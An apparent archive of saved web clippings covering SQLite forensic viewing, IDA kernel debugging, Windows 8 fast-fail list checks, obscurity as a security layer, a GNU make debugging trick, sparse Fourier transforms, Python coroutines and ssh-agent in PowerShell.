<img src='img/Temp2_7185.png' alt='SQLite table' />

You’ll see that even viewing large tables is pleasantly fast**.** The SQL
table control is available to the Python SDK as well: it can either be created
via **createView** or inside a custom view with the tag **sqltable****.**

Once the sql table view is created, it offers the following methods:

[code]

        getSQLColumns() -> NTString
        getSQLCondition() -> NTString
        getSQLTable() -> NTString
        setSQLTable(NTString const & table, NTString const & columns=NTString(), NTString const & condition=NTString()) -> bool
        setSQLTable(NTString const & table, NTString const & columns=NTString()) -> bool
        setSQLTable(NTString const & table) -> bool
        setSQLTableSelectVisible(bool b)
        setSQLite3Object(CFFObject obj)
[/code]  
---  
So it’s possible to display a particular table in it or offer the possibility
to the user to choose the table via **setSQLTableSelectVisible****.**

The database can be accessed as well**.** The Profiler exposes its internal
**SQLite** code in the homonymous module**.** It differs from the standard
Python implementation and it matches the C API**.** For instance, to enumerate
the table names in a database we can use this code:

[code]

    from Pro.SQLite import *
     
    db = obj.GetHandle() # retrieves the internal SQLite handle, never to be closed**!**
     
    ret, stmt = sqlite3_prepare(db, "SELECT name FROM sqlite_master WHERE type = 'table'")
    if sqlite3_step(stmt) == SQLITE_ROW:
        print(sqlite3_column_text(stmt, 0))
        sqlite3_finalize(stmt)
[/code]  
---  
The handle returned by GetHandle grants only read access**.** In fact, to
maximize speed and avoiding copy operations, the Profiler replaces the virtual
file-system of the SQLite database in order for it to read directly from the
**CFFObject****.**

The exposed C API can be used to open external databases as well and will be
used to access the main report database file in order to give plugins the
capability to store and retrieve their own data**.**

## Free pages inspection****

When the database file contains free pages, it will be reported in the
summary**.** Free pages usually contain deleted data and can therefore be of
interest for forensic purposes**.**

<img src='img/Temp2_7186.png' alt='Free pages' />

The image above shows a test database I’ve created**.** In it I created a few
tables, and inserted some records containing repeated values \(but keeping
each record different\)**.** Then I deleted a specific record containing
’1′s**.** The result is that the database now contains free pages and when
inspecting them with the Profiler we can see a big part of the original
data**.**

Keep in mind that data contained in free pages can be incomplete and is
scattered**.** The free pages data can be retrieved programmatically as well
through the method **GetFreePages****.**

Stay tuned as there’s much more coming soon**\!**

****

# Takashi Toyota on Twitter: "Intro to SMB drivers Load Order
https://t.co/h1uW0EKbKV"

**Created:**| _5/15/2017 9:23:18 PM_  
---|---  
**Updated:**| _5/15/2017 9:23:18 PM_  
**Author:**| __  
**Tags:**| _Debugging kernel windows environment_  
  

  
<img src='img/C_126ftUMAA03Dr.jpg' />  

# Hex blog: Kernel debugging with IDA

**Created:**| _5/9/2009 12:47:18 PM_  
---|---  
**Updated:**| _5/9/2009 12:47:38 PM_  
**Author:**| __  
**Tags:**| _Debugging video iDA_  
  

### Kernel debugging with IDA

When IDA introduced debugging facilities years ago, the task of analyzing
hostile code became more enriched: no more looking at static code and figuring
out what it does, instead just run the malware in a virtual machine and debug
it remotely, even debug just a small code snippet from the database \(Bochs
based debugger plugin\).

With IDA 5.4 release, in addition to the Bochs and GDB plugins, we also
introduced a debugger plugin based on Microsoft's Debugger Engine \(the same
engine used by Windbg, cdb and kd\). With this addition to IDA you can now
debug live kernel targets as well.

For user mode debugging the Windbg debugger plugin beats the win32 debugger
plugin, by providing you access to a wide range of extensions that ship with
the debugging tools from Microsoft.  
For kernel debugging, you can use Bochs/Disk Image loader or GDB plugin to
debug the whole operating system from Bios code and on.  
However when Windbg plugin is used, you get the raw power of the debugging
engine \(extensions / built-in commands, symbols, ...\).

We prepared a video showing how to debug kernel mode and user mode at the same
time with full symbolic information \(provided from the PDB files\).  
The video also demonstrates how to set breakpoints on user mode APIs and see
them get triggered when any application in the system uses those APIs.

Before viewing the video, for those willing to experiment with the Windbg
debugger plugin to debug kernel mode and user mode at the same time, here is
how to prepare a database:

  1. If you never used the Windbg debugger plugin before please visit the Windbg plugin tutorial page
  2. Setup a process server inside the VM and attach to it from IDA to debug just any user mode application
  3. Once attached, go to desired segments \(kernel32, user32, advapi32, gdi32, etc...\) and convert them to loader segments
  4. If symbol retrieval mechanism was properly configured then most system DLLs will have symbol information, otherwise only exported names will available
  5. Now we have a database with all user mode components we wish to inspect from the live kernel debugging session
  6. Using the same database, change the connection string so that it connects to the same VM for the purpose of live kernel debugging this time
  7. Once attached to the kernel, IDA will present loaded drivers and kernel mode modules in the debugger / modules list
  8. It is possible to convert to loader segments the kernel mode components of interest
  9. That's it\! The database is now suited for kernel debugging, yet contains names and addresses of user mode components

The video will put everything into perspective\!

# New Security Assertions in “Windows 8″ « Alex Ionescu’s Blog

**Created:**| _10/7/2011 9:57:24 AM_  
---|---  
**Updated:**| _10/7/2011 9:57:24 AM_  
**Author:**| __  
**Tags:**| _windows environment_  
  

## New Security Assertions in “Windows 8″

Anyone reversing “Windows 8″ will now find a non-familiar piece of code,
whenever a list insertion operation is performed on a LIST\_ENTRY:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
[/code]

|

[code]

    .text:00401B65                 mov     edx, [eax]
    .text:00401B67                 mov     ecx, [eax+4]
    .text:00401B6A                 cmp     [edx+4], eax
    .text:00401B6D                 jnz     SecurityAssertion
    .text:00401B73                 cmp     [ecx], eax
    .text:00401B75                 jnz     SecurityAssertion
    ....
    .text:00401C55 SecurityAssertion:               
    .text:00401C55
    .text:00401C55                 push    3
    .text:00401C57                 pop     ecx
    .text:00401C58                 int     29h
[/code]  
---|---  
Or, seen from Hex-Rays:

[code]

    1
    2
    3
    4
    5
    
[/code]

|

[code]

    if ( ListEntry->Flink->Blink != ListEntry ||
         Blink->Flink != ListEntry )
    {
      __asm { int     29h   } // Note that the "push 3" is lost
    }
[/code]  
---|---  
Dumping the IDT reveals just what exactly “INT 29h” is:

> lkd> \!idt 29
> Dumping IDT:
> 29: 80d5409c nt\!\_KiRaiseSecurityCheckFailure
Which would indicate that Win8 now has a new kind of “ASSERT” statement that
is present in retail builds, designed for checking again certain common
security issues, such as corrupted/dangling list pointers.

Thankfully, Microsoft was nice enough to document where this is coming from,
and I’ve even been told they want to encourage its use externally. Starting in
“Windows 8″, if you leave NO\_KERNEL\_LIST\_ENTRY\_CHECKS undefined, the new
LIST\_ENTRY macros will add a line RtlpCheckListEntry\(Entry\); to verify the
lists between operations. This expands to:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
[/code]

|

[code]

    FORCEINLINE
    VOID
    RtlpCheckListEntry(
        _In_ PLIST_ENTRY Entry
        )
    {
        if ((((Entry->Flink)->Blink) != Entry) ||
            (((Entry->Blink)->Flink) != Entry))
        {
            FatalListEntryError(
                (PVOID)(Entry),
                (PVOID)((Entry->Flink)->Blink),
                (PVOID)((Entry->Blink)->Flink));
        }
    }
[/code]  
---|---  
So what is FatalListEntryError?

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    
[/code]

|

[code]

    FORCEINLINE
    VOID
    FatalListEntryError(
        _In_ PVOID p1,
        _In_ PVOID p2,
        _In_ PVOID p3
        )
    {
        UNREFERENCED_PARAMETER(p1);
        UNREFERENCED_PARAMETER(p2);
        UNREFERENCED_PARAMETER(p3);
     
        RtlFailFast(FAST_FAIL_CORRUPT_LIST_ENTRY);
    }
[/code]  
---|---  
At last, we can see where the INT 29H \(push 3\) seems to be stemming from. In
fact, RtlFastFail is then defined as:

[code]

    //++
    //VOID
    //RtlFailFast (
    //    _In_ ULONG Code
    //    );
    //
    // Routine Description:
    //
    //    This routine brings down the caller immediately in the
    //    event that critical corruption has been detected.
    //    No exception handlers are invoked.
    //
    //    The routine may be used in libraries shared with user
    //    mode and kernel mode.  In user mode, the process is
    //    terminated, whereas in kernel mode, a
    //    KERNEL_SECURITY_CHECK_FAILURE bug check is raised.
    //
    // Arguments
    //
    //    Code - Supplies the reason code describing what type
    //           of corruption was detected.
    //
    // Return Value:
    //
    //     None.  There is no return from this routine.
    //
    //--
    DECLSPEC_NORETURN
    FORCEINLINE
    VOID
    RtlFailFast(
        _In_ ULONG Code
        )
    {
        __fastfail(Code);
    }
[/code]

And finally, to complete the picture:

[code]

    //
    // Fast fail failure codes.
    //
    #define FAST_FAIL_RANGE_CHECK_FAILURE         0
    #define FAST_FAIL_VTGUARD_CHECK_FAILURE       1
    #define FAST_FAIL_STACK_COOKIE_CHECK_FAILURE  2
    #define FAST_FAIL_CORRUPT_LIST_ENTRY          3
    #define FAST_FAIL_INCORRECT_STACK             4
    #define FAST_FAIL_INVALID_ARG                 5
    #define FAST_FAIL_GS_COOKIE_INIT              6
    #define FAST_FAIL_FATAL_APP_EXIT              7
     
    #if _MSC_VER >= 1610
    DECLSPEC_NORETURN
    VOID
    __fastfail(
        _In_ unsigned int Code
        )
    #pragma intrinsic(__fastfail)
    #endif
[/code]

So there you have it, the new \_\_fastfail intrinsic generates an INT 29H, at
least on x86, and the preceding 8 security failures are registered by Windows
— I assume driver developers and user application developers could define
their own internal security codes as well, preferably starting with a high
enough ID not to interfere with future codes Microsoft may choose to add.

The bugcheck, by the way, is defined as:

[code]

    //
    // MessageId: KERNEL_SECURITY_CHECK_FAILURE
    //
    // MessageText:
    //
    // A kernel component has corrupted a critical data structure.
    // The corruption could potentially allow a malicious user to
    // gain control of this machine.
    //
    #define KERNEL_SECURITY_CHECK_FAILURE ((ULONG)0x00000139L)
[/code]

This is a great mechanism that should make security issues much more “visible”
to users, even if it means taking the system down. Hopefully the new and
improved blue screen of death — the Sad Face Of Sorrow \(SFOS\) — will give
users more indication as to why their system had to be taken down, as the
current implementation lacks the details needed to differentiate between a
crash, and a security failure such as this.

# Obscurity is a Valid Security Layer

**Created:**| _11/6/2013 9:41:28 AM_  
---|---  
**Updated:**| _11/6/2013 9:41:28 AM_  
**Author:**| __  
**Tags:**| _Obfuscation_  
  

# **O** bscurity is a Valid Security Layer****

<img src='http://danielmiessler.com/images/obscurity.gif' alt='obscurity' />

Many of us are familiar with a concept know as Security by Obscurity **.** The
term has negative connotations within the infosec community—usually for the
wrong reason**.** There's little debate about whether security _**by**_
obscurity is bad; this is true because it means _the secret being hidden is
the key to the entire system's security_**.**

When added to a system that already has decent controls in place, however,
obscurity is absolutely not a bad thing**.** In fact, when done this way,
obscurity can be a strong addition to an overall security posture**.**

## Good obscurity vs**.** bad obscurity****

As mentioned above, the question of whether obscurity is good or bad reduces
to whether it's being used a layer _on top of_ good security, or as a
replacement for it**.** The former is good**.** The latter is bad.

An example of security **by** obscurity is when someone has an expensive house
outfitted with the latest alarm system, but they keep the key and alarm code
in the planter box next to the front door**.** This is security _by_ obscurity
because if anyone knows the secret, i.e. that the key and code are stored in
the planter, then the security of the entire system is compromised**.**

That's security **by** obscurity: if the secret ever gets out, _it's game
over_**.** The concept comes from cryptography , where it's utterly
sacrilegious to base the security of a cryptographic system on the secrecy of
the algorithm**.**

## Obscurity as a layer****

Obscurity as _a layer_ , however, can be used to enhance security that already
exists**.** Examples of this include Portknocking  and Single Packet
Authorization **.**

<img src='http://danielmiessler.com/images/onion1.png' width='200'
height='200' alt='onionlayers' />

These technologies allow one to hide their network services behind an
additional layer of protection**.** Using the technology you can have an SSH
server \(or other previously secured daemon\) sitting live on the Internet
that port scanners literally _can't see_**.** This works because your firewall
sits between the Internet and your listening service**.**

Your firewall listens to the incoming requests and ignores all standard
attempts to your system**.** If, however, you ask in a very specific way, i.e.
using the secret knock sequence \(PK\) or a packet with a special payload
\(SPA\), it'll open access to the server for _your_ specific source IP**.**
This is where many respond with something like the following:

> That's stupid because it's security by obscurity**.** If anyone figures out
> the secret, they'll just replay it and be into the system**\!**
That's where people make the error. They miss the fact that _you still have to
authenticate to the daemon behind this layer**.**_ You didn't **replace** the
service's security with this layer, you simply added it to what already
existed**.** Remember, the NSA  most likely has great algorithms, but they
still don't _publish_ them**.**

## Real world****

<img src='http://danielmiessler.com/images/abrams.gif' width='300' height='50'
alt='abrams' />

A powerful example of this is camouflage**.** Consider an armored tank such as
the M-1**.** The tank is equipped with some of the most advanced armor ever
used, and has been shown repeatedly to be effective in actual real-world
battle**.**

So, given this highly effective armor, would the danger to the tank somehow
increase if it were to be painted the same color as its surroundings**?** Or
how about in the future when we can make the tank completely invisible**?**
Did we reduce the effectiveness of the armor**?** No, we didn't. Making
something harder to see does **not** make it easier to attack if or when it is
discovered**.** This is a fallacy that simply must die.

When the goal is to reduce the number of successful attacks, starting with
solid, tested security and adding obscurity as a layer _does_ yield an overall
benefit to the security posture**.** Camouflage accomplishes this on the
battlefield, and PK/SPA accomplish this when protecting hardened services**.**

## Got data**?**

<img src='http://danielmiessler.com/wp-content/uploads/2010/08/ssh.png'
alt='ssh' />

Of course, being scientific types, we like to see data**.** In that vein I
decided to do some testing of the idea using the SSH daemon \(full results
here \)**.**

I configured my SSH daemon to listen on port 24 in addition to its regular
port of 22 so I could see the difference in attempts to connect to each \(the
connections are usually password guessing attempts\)**.** My expected result
is far fewer attempts to access SSH on port 24 than port 22, which I equate to
less risk to my, or any, SSH daemon**.**

\[ Setup for the testing was easy: I added a `Port 24` line to my
`sshd_config` file, and then added some logging to my firewall rules for ports
22 and 24**.** \]

I ran with this configuration for a single weekend, and received over
_eighteen thousand_ \(18,000\) connections to port 22, and _five_ \(5\) to
port 24**.**

_That's 18,0000 to 5_**.**

Let’s say that there’s a new zero day out for OpenSSH that's owning boxes with
impunity**.** Is anyone willing to argue that someone unleashing such an
attack would be _equally likely_ to launch it against non-standard port
vs**.** port 22**?** If not, then your risk goes down by not being there, it's
that simple**.**

## Conclusion****

So the next time the subject comes up, remember a simple concept: Security
_by_ Obscurity is bad, but obscurity when added as a layer on top of other
controls can be absolutely legitimate**.** The question really becomes:

> Is adding obscurity the best use of my resources given the controls I have
> in place, or would I be better off adding a different \(non-obscurity-
> based\) control**?**
That's a fair question, and if you have the ability to go from passwords to
keys, or to limit access to your daemon by 95%—these are likely to be more
effective than obscurity**.** But _after you've done these things_ you can
absolutely improve your security even further through obscurity**.**

Those who dismiss this concept out of hand are simply regurgitating someone
else's \(wrong\) ideas rather than working through the concepts
themselves**.**

### Definitions****

**Obscurity as a Layer**

     Obscurity _as a layer_ makes a system with already good defenses more difficult to target, which improves its overall security posture**.**
  

**Security Through Obscurity**

     Security _through_ Obscurity means that, once targeted, the system will be defenseless, i.e. all its security comes from secrecy**.**
### Related****

□ Tweet This  
□ Share on Facebook  
□ Submit to Reddit  
□ Post to Hacker News

I’d love to hear from you**.** If you’d like to connect/respond, please reach
out via Twitter , using DISQUS below, or by email **.** Also consider
subscribing to the site via RSS  and checking out my other content**.**

### Comments****

blog comments powered by Disqus  ****

# The one line you should add to every makefile | John Graham-Cumming
**Created:**| _4/10/2015 9:01:01 PM_  
---|---  
**Updated:**| _4/10/2015 9:01:01 PM_  
**Author:**| __  
**Tags:**| _Debugging awesome_  
  
  

### The one line you should add to every makefile

If you're using GNU make and you need help debugging a makefile then there's a
single line your should add. And it's so useful that you should add it to
every makefile you create.  
  
It's:  
  
print-%: ; @echo $\*=$\($\*\)  
  
It allows you to quickly get the value of any makefile variable. For example,
suppose you want to know the value of a variable called SOURCE\_FILES. You'd
just type:  
  
make print-SOURCE\_FILES  
  
If you are using GNU make 3.82 or above it's not even necessary to modify the
makefile itself. Just do  
  
make --eval="print-%: ; @echo $\*=$\($\*\)" print-SOURCE\_FILES  
  
to get the value of SOURCE\_FILES. It 'adds' the line above to the makefile by
evaluating it. The \--eval parameter is a handy way of adding to an existing
makefile without modifying it.  

###  How that works

The line  
  
print-%: ; @echo $\*=$\($\*\)  
  
defines a pattern-rule that matches any target in the form print-% \(the % is
the wildcard character\). So when you run make print-SOURCE\_FILES that rule
will execute and the % will match SOURCE\_FILES.  
  
The command executed by print-% is @echo $\*=$\($\*\). Here I've used a
semicolon to separate the target name and the recipe \(commands to be
executed\). That makes this into a one-liner. In more traditional make syntax
\(where a tab is used to introduce the recipe\) that would be written.  
  
print-%:  
@echo $\*=$\($\*\)  
  
Using semicolon makes this easy to copy and paste.  
  
The automatic variable $\* matches the % in print-% \(so when executing print-
SOURCE\_FILES, $\* will be SOURCE\_FILES\). So $\* contains the _name_ of the
variable that we want to print out.  
  
The $\($\*\) uses gets the value of a variable whose name is stored in $\*.
For example, $\* might expand to SOURCE\_FILES and then GNU make would get the
value of $\(SOURCE\_FILES\). Getting a variable by storing its name in another
variable turns out to be a useful technique in many makefiles.  

###  More?

If that sort of thing interests you, you might enjoy my book: The GNU Make
Book.  
  
---  
  

# Leaner Fourier transforms - MIT News Office

**Created:**| _12/13/2013 9:13:39 AM_  
---|---  
**Updated:**| _12/13/2013 9:13:39 AM_  
**Author:**| __  
**Tags:**| _math sdr_  
  

# **L** eaner Fourier transforms****

New algorithm can separate signals into their individual frequencies using a
minimal number of samples**.**

Helen Knight, MIT News correspondent

<img src='img/Temp2_4868.jpg' alt='Leaner Fourier transforms' />

image: christine daniloff/MIT

The fast Fourier transform, one of the most important algorithms of the 20th
century, revolutionized signal processing**.** The algorithm allowed computers
to quickly perform Fourier transforms — fundamental operations that separate
signals into their individual frequencies — leading to developments in audio
and video engineering and digital data compression**.**  
  
But ever since its development in the 1960s, computer scientists have been
searching for an algorithm to better it**.**  
  
Last year MIT researchers Piotr Indyk and Dina Katabi did just that, unveiling
an algorithm  that in some circumstances can perform Fourier transforms
hundreds of times more quickly than the fast Fourier transform \(FFT\)**.**  
  
Now Indyk, a professor of computer science and engineering and a member of the
Theory of Computation Group within the Computer Science and Artificial
Intelligence Laboratory \(CSAIL\), and his team have gone a step further,
significantly reducing the number of samples that must be taken from a given
signal in order to perform a Fourier transform operation**.**  
  
**Close to theoretical minimum**  
  
In a paper to be presented at the ACM-SIAM Symposium on Discrete Algorithms in
January, Indyk, postdoc Michael Kapralov, and former student Eric Price will
reveal an algorithm that can perform Fourier transforms using close to the
theoretical minimum number of samples**.** They have also bettered even this,
developing an algorithm that uses the minimum possible number of signal
samples**.**  
  
This could significantly reduce the time it takes medical devices such as
magnetic resonance imaging \(MRI\) and nuclear magnetic resonance \(NMR\)
machines to scan patients, or allow astronomers to take more detailed images
of the universe, Indyk says**.**  
  
The Fourier transform is a fundamental mathematical notion that allows signals
to be broken down into their component parts**.** When you listen to someone
speak, for example, you can hear a dominant tone, which is the principal
frequency in their voice**.** “But there are many other underlying
frequencies, which is why the human voice is not a single tone, it’s much
richer than that,” Indyk says**.** “So in order to understand what the
spectrum looks like, we need to decompose the sounds into their basic
frequencies, and that is exactly what the Fourier transform does**.** ”  
  
The development of the FFT automated this process for the first time, allowing
computers to rapidly manipulate and compress digital signals into a more
manageable form**.** This is possible because not all of the frequencies
within a digital signal are equal**.** Indeed, in nature many signals contain
just a few dominant frequencies and a number of far less important ones, which
can be safely disregarded**.** These are known as sparse signals.  
  
“In real life, often when you look at a signal, there are only a small number
of frequencies that dominate the spectrum,” Indyk says**.** “So we can
compress \[the signal\] by keeping only the top 10 percent of these**.** ”  
  
Indyk and Katabi’s previous work focused on the length of time their algorithm
needed to perform a sparse Fourier transform operation**.** However, in many
applications, the number of samples the algorithm must take of the signal can
be as important as its running time**.**  
  
**Applications in medical imaging, astronomy**  
  
One such example is in MRI scanning, Indyk says**.** “The device acquires
Fourier samples, basically snapshots of the body lying inside the machine,
which it uses to recover the inner structure of the body,” he says**.** “In
this situation, the number of samples taken is directly proportionate to the
amount of time that the patient has to spend in the machine**.** ”  
  
So by allowing the MRI scanner to produce an image of the body using a
fraction of the samples needed by existing devices, it could significantly
reduce the time patients must spend lying still inside the narrow, noisy
machines**.**  
  
The team is also investigating the idea of using the new sparse Fourier
transform algorithm in astronomy**.** They are working with researchers at the
MIT Haystack Observatory, who specialize in radio astronomy, to use the system
in interferometry, in which signals from an array of telescopes are combined
to produce a single, high-resolution image of space**.** Applying the sparse
Fourier transform algorithm to the telescope signals would reduce the number
of observations needed to produce an image of the same quality, Indyk
says**.**  
  
“That’s important,” he says, “because these are really massive data sets, and
to make matters worse, much of this data is distributed because there are
several different, separated telescopes, and each of them acquires some of the
information, and then it all has to be sent to the same place to be
processed**.** ”  
  
What’s more, radio telescopes are extremely expensive to build, so an
algorithm that allows astronomers to use fewer of them, or to obtain better
quality images from the same number of sensors, could be extremely important,
he says**.**  
  
Martin Strauss, a professor of mathematics, electrical engineering, and
computer science at the University of Michigan, who develops fundamental
algorithms for applications such as signal processing and massive data sets,
says work by Indyk and others makes sparse Fourier transform algorithms
advantageous over the celebrated FFT on a larger class of problems than
before**.** “The current paper squeezes out nearly all \[of the performance\]
that is possible with these methods,” he says**.**

Comments|  
---|---  
Log in to write comments

****

# Eli Bendersky's website » Co-routines as an alternative to state machines

**Created:**| _4/20/2012 7:06:32 PM_  
---|---  
**Updated:**| _4/20/2012 7:06:32 PM_  
**Author:**| __  
**Tags:**| _bookmark software testing programming_  
  

## Co-routines as an alternative to state machines

August 29th, 2009 at 2:32 pm

Observation:

> Co-routines are to state machines what recursion is to stacks
When you have to traverse some sort of a nested data structure \(say, a binary
tree\), one approach is to create a stack that remembers where in the tree you
are. Another, much more elegant approach, is to write the function
recursively. A recursive function employs the machine stack used to implicitly
implement function calls – you get the benefits of the stack without paying
the cost of reduced readability.

In this article I’ll try to show, using a simple, yet very realistic example
why co-routines do the same to state machines.

#### The problem – serial framing

I’ve written a detailed article about framing earlier this month. The simple
summary is: we have an endless incoming stream of bytes, from which we need to
deduce structured data frames. That is, we have to find where a frame starts,
where it ends and what is the data it carries. For this purpose we use a
special header value, footer value and an escape byte \(DLE\).

A complete Python implementation is described here, but in this article I will
present the solution in a simplified manner, keeping all irrelevant details
out.

#### The state machine

Given a stream and receiving one byte at a time, here is the state machine
that describes the framing process:

<img src='img/Temp2_2573.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/2009/08/statemachine1_framing.png' />

Only inputs and state transitions are shown. The framing process outputs
complete frames when moving from the `IN_MSG` state to the `WAIT_HEADER` stage
\(this happens when a footer is received\) \[1\]

#### Implementing the state machine

Here’s an implementation of this state machine in Python. The internal state
is kept in an object:

[code]

    class ProtocolWrapper(object):
        def __init__(self,
                header='\x61',
                footer='\x62',
                dle='\xAB',
                after_dle_func=lambda x: x):
            self.header = header
            self.footer = footer
            self.dle = dle
            self.after_dle_func = after_dle_func
    
            self.state = self.WAIT_HEADER
            self.frame = ''
    
        # internal state
        (WAIT_HEADER, IN_MSG, AFTER_DLE) = range(3)
    
        def input(self, byte):
            """ Receive a byte.
                If this byte completes a frame, the
                frame is returned. Otherwise, None
                is returned.
            """
            if self.state == self.WAIT_HEADER:
                if byte == self.header:
                    self.state = self.IN_MSG
                    self.frame = ''
    
                return None
            elif self.state == self.IN_MSG:
                if byte == self.footer:
                    self.state = self.WAIT_HEADER
                    return self.frame
                elif byte == self.dle:
                    self.state = self.AFTER_DLE
                else:
                    self.frame += byte
                return None
            elif self.state == self.AFTER_DLE:
                self.frame += self.after_dle_func(byte)
                self.state = self.IN_MSG
                return None
            else:
                raise AssertionError()
    
[/code]

Note that the code of the `input` method closely follows the state diagram.
This is how implementations of state machines are – it’s generally difficult
to understand what’s going on in the code without having some sort of a state
diagram in front of your eyes. In this case the state machine has just 3
states, but it can be easily 20 for more complex needs. Understanding such a
state function with 20 states is impossible without a diagram.

Anyhow, here’s some test code that simulates a stream of data with a couple of
frames and invalid data in between:

[code]

    bytes = ''.join(chr(b) for b in
                [0x70, 0x24,
                 0x61, 0x99, 0xAF, 0xD1, 0x62,
                 0x56, 0x62,
                 0x61, 0xAB, 0xAB, 0x14, 0x62,
                 0x7
                ])
    
    pw = ProtocolWrapper()
    
    for byte in bytes:
        frame = pw.input(byte)
        if frame:
            print 'Got frame:', frame.encode('hex')
    
[/code]

This prints:

[code]

    Got frame: 99afd1
    Got frame: ab14
    
[/code]

#### Co-routines

I don’t intend to teach the theory behind co-routines here, and I’ll assume at
least a basic familiarity with the concept. My goal is to show a real-life,
relevant example that demonstrates how co-routines relate to state machines.

This link is a good tutorial on co-routines \(in C, of all languages\), and
there’s of course Wikipedia and C2. But the **absolutely best** tutorial, with
focus on Python, is David Beazley’s presentation from this year’s PyCon: A
curious course on coroutines and concurrency. It is while reading this
tutorial that the connection finally ‘clicked’ in my head. It is most highly
recommended \[2\].

If there’s one description of co-routines you should remember while reading
this article and later, it is that co-routines save the control state of a
function between calls. Kinda like recursion – you know exactly where are you
going to return after a function call.

When you call a co-routine, it doesn’t start all over from the beginning.
Rather, it starts from right after where it returned \(yielded control\) the
previous time it was called.

This also explains why co-routines can replace state machines. The `input`
method of `ProtocolWrapper` is invoked multiple times. Since it’s a "normal"
function, it begins running from its first line for each invocation. This is
why it needs to keep a state machine – to know it’s current "place in the
world" when the next byte is received. With co-routines this isn’t necessary –
co-routines start exactly where they stopped the previous time they were
called – so no state keeping is required\!

#### Using co-routines for framing

Without further ado, here is the co-routine implementation of the framing
problem:

[code]

    @coroutine
    def unwrap_protocol(header='\x61',
                        footer='\x62',
                        dle='\xAB',
                        after_dle_func=lambda x: x,
                        target=None):
        """ Simplified framing (protocol unwrapping)
            co-routine.
        """
        # Outer loop looking for a frame header
        #
        while True:
            byte = (yield)
            frame = ''
    
            if byte == header:
                # Capture the full frame
                #
                while True:
                    byte = (yield)
                    if byte == footer:
                        target.send(frame)
                        break
                    elif byte == dle:
                        byte = (yield)
                        frame += after_dle_func(byte)
                    else:
                        frame += byte
    
[/code]

Look how simple and elegant it is. You can tell immediately what it does just
by looking at the source code – no state diagrams are needed.

We loop over frames. A frame starts with a header byte. After a header byte
has been received, we accumulate the bytes of the frame until a footer is
encountered. The `(yield)` calls is where the magic is. The function suspends
at these points until it is called again \[3\]. Then, the value passed in the
new call is returned from `(yield)` and the co-routine proceeds from the same
place.

Note how the state machine is _implicitly_ embedded in this code. It’s there,
but you don’t see it – it’s hiding in the control structures \(the IFs, ELSEs
and the WHILEs\) of the function.

When a complete frame is received, it is sent to the `target` of the co-
routine, which may process it at will. After executing `send`, the co-routine
breaks out of the inner loop and suspends waiting for a new header in the
outer loop.

The `@coroutine` decorator is a simple utility required for Python co-
routines:

[code]

    def coroutine(func):
        def start(*args,**kwargs):
            cr = func(*args,**kwargs)
            cr.next()
            return cr
        return start
    
[/code]

This is needed to bring a co-routine to its first `yield` and suspend there.
You can just use this decorator without worrying about the details, until you
become more comfortable with the concept to understand the exact inner
workings described in PEP 342.

To test this co-routine implementation we also need a simple "sink" co-routine
\(using Dave Beazley’s terminology from his presentation\). This will be the
receiver of the `send` calls made by our co-routine:

[code]

    @coroutine
    def frame_receiver():
        """ A simple co-routine "sink" for receiving
            full frames.
        """
        while True:
            frame = (yield)
            print 'Got frame:', frame.encode('hex')
    
    bytes = ''.join(chr(b) for b in
                [0x70, 0x24,
                 0x61, 0x99, 0xAF, 0xD1, 0x62,
                 0x56, 0x62,
                 0x61, 0xAB, 0xAB, 0x14, 0x62,
                 0x7
                ])
    
    unwrapper = unwrap_protocol(
                    target=frame_receiver())
    
    for byte in bytes:
        unwrapper.send(byte)
    
[/code]

Prints:

[code]

    Got frame: 99afd1
    Got frame: ab14
    
[/code]

#### Conclusion

I’ll repeat the quote from the beginning of the article:

> Co-routines are to state machines what recursion is to stacks
Recursion helps process nested data structures without employing explicit
stacks.

Similarly, co-routines help solve problems involving state, without using
explicit state machines. The resulting code is not centered on the states, but
rather on the logic of the tasks, which makes it much simpler to understand.

Co-routines are a useful tool to have in one’s toolbox. It is worthwhile to
spend some time getting acquainted with them.

<img src='img/Temp2_2572.png' alt='http://eli.thegreenplace.net/wp-
content/uploads/hline.jpg' />

\[1\]| Such a state machine is called a Mealy machine – it generates output
based on the current state _and_ input. Most state machines implemented in
software are of this type.  
---|---  
\[2\]| For Python there’s also PEP 342 – but I recommend going over it only
after you’ve read Dave’s tutorial.  
---|---  
\[3\]| Technically, a co-routine is created once by calling it. Then, we have
a "co-routine object" on which we can execute `send` methods, passing the
arguments to `yield` via `send`. This is how co-routines are implemented in
Python. It might look different in another language, but the concept stays the
same.  
---|---  
Related posts:

  1. Framing in serial communications
  2. endian-ness of bits and bytes
  3. Frames and protocols for the serial port – in Python
  4. when bit endianness matters
  5. Length-prefix framing for protocol buffers

# SSH Agent in Powershell - Mark Embling

**Created:**| _12/13/2009 9:32:39 PM_  
---|---  
**Updated:**| _12/13/2009 9:32:47 PM_  
**Author:**| __  
**Tags:**| _programming windows environment_  
  

### SSH Agent in Powershell

Posted on 27 September 2009 20:15.

Those of you using git will more than likely be pushing and pulling over a SSH
connection \(to githubfor example\). Recently I posted about my preference for
using git from within Powershell. However there was always one really annoying
thing when compared to using git from my OS X and linux machines - the need to
type my private key passphrase  _every single time_ I do a push or pull. It
got to the point where I decided to do something about it. Enter ssh-agent.

### What is SSH-Agent?

SSH-agent is a process which runs in the background and stores the private key
and passphrase. This means that you do not have to repeatedly type it every
time you need to use your key. Instead you just provide it once, when the ssh-
agent process is started. Users of Putty may be familiar with Pageant, which
serves the exact same purpose.

### So What's The Problem?

Unfortunately, ssh-agent seems to have been designed with Bash and other unix
shells in mind. It has a very strange way of working. When the agent is
started, it emits some information about itself \(process ID etc\) which
should be placed into environment variables, and sits in the background.
Instances of the SSH client can then refer to these variables and interface
with the running agent process for obtaining key details. The problem with
this approach is that the output provided by ssh-agent is not compatible with
Powershell or Command.exe.

### Make It So\!

In order to get around this problem, I have written a Powershell script which
provides several functions for starting and managing ssh-agent. It takes the
output of the program and sets the appropriate environment variables through
Powershell's .NET methods.

The script can be found in a gist I have created on github. To make use of it,
simply place into your powershell profile folder at
`%USERPROFILE%\Documents\WindowsPowershell` or any other location of your
choice and then include it in your main `profile.ps1` file \(or a blank one if
you have not already created one\).

[code]

    . (Resolve-Path ~/Documents/WindowsPowershell/ssh-agent-utils.ps1)
    
[/code]

As you can see, there are several functions in the file:

  * `Get-SshAgent` \- Returns the process ID of the running agent, or zero if there is not one currently running.
